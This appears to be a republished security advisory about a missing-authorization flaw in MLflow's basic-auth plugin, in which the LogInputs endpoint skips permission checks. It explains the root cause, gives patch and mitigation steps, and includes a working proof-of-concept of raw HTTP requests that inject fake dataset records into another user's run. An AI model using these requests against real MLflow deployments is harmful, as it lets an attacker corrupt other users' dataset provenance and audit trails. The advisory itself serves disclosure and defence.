Listen to this Post
When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user’s run by calling POST /api/2.0/mlflow/runs/log-inputs. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run — such as `POST /api/2.0/mlflow/runs/log-metric` — correctly return HTTP 403.
MLflow’s basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), `get_before_request_handler` returns None, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is (path, method): None.
Inside `_before_request`:
mlflow/server/auth/<strong>init</strong>.py _before_request() if validator := _find_validator(request): None is falsy -- branch skipped if not validator(): return make_forbidden_response() elif _is_proxy_artifact_path(request.path): not a proxy path ... falls through: any authenticated request is allowed
The `LogInputs` protobuf class is not present in BEFORE_REQUEST_HANDLERS:
mlflow/server/auth/<strong>init</strong>.py BEFORE_REQUEST_HANDLERS dict LogInputs is absent; all run-write operations below ARE present: LogBatch: validate_can_update_run, LogMetric: validate_can_update_run, SetTag: validate_can_update_run, LogParam: validate_can_update_run, LogInputs: <missing>
The route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run’s lineage table without any ownership check.
DailyCVE Form:
Platform: MLflow
Version: 3.13.0–3.15.0
Vulnerability: Missing Authorization
Severity: MEDIUM (CVSS 6.5)
date: 2026-08-17
Prediction: 2026-08-18 (patch available in v3.15.0)
What Undercode Say:
Check MLflow version
mlflow --version
Verify before-request handlers (auth bypass confirmation)
grep -A 20 "BEFORE_REQUEST_HANDLERS" /path/to/mlflow/server/auth/<strong>init</strong>.py
Check if LogInputs is missing from auth handlers
python3 -c "from mlflow.server.auth import BEFORE_REQUEST_HANDLERS; print('LogInputs' in BEFORE_REQUEST_HANDLERS)"
Exploit: (Educational Purposes!)
Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).
Step 1 — Confirm authorized endpoint correctly denies alice’s write to bob’s run:
POST /api/2.0/mlflow/runs/log-metric HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}
Response: `HTTP 403 Permission denied`
Step 2 — Inject a dataset record into bob’s run as alice:
POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]}
Response: `HTTP 200 {}`
Step 3 — Confirm injection persisted:
GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123)
Response: `HTTP 200` — `dataset_inputs` array contains `{“name”:”ATTACKER_injected”,”digest”:”evil123″,”profile”:”attacker_controlled”}`
Protection:
- Upgrade MLflow to version 3.15.0 or later
- If unable to upgrade immediately, manually add `LogInputs: validate_can_update_run` to `BEFORE_REQUEST_HANDLERS` in `mlflow/server/auth/__init__.py`
– Monitor `/api/2.0/mlflow/runs/log-inputs` endpoints for unauthorized `DatasetInput` injections - Restrict basic-auth credentials to trusted users only
Impact:
Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user’s run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor’s runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

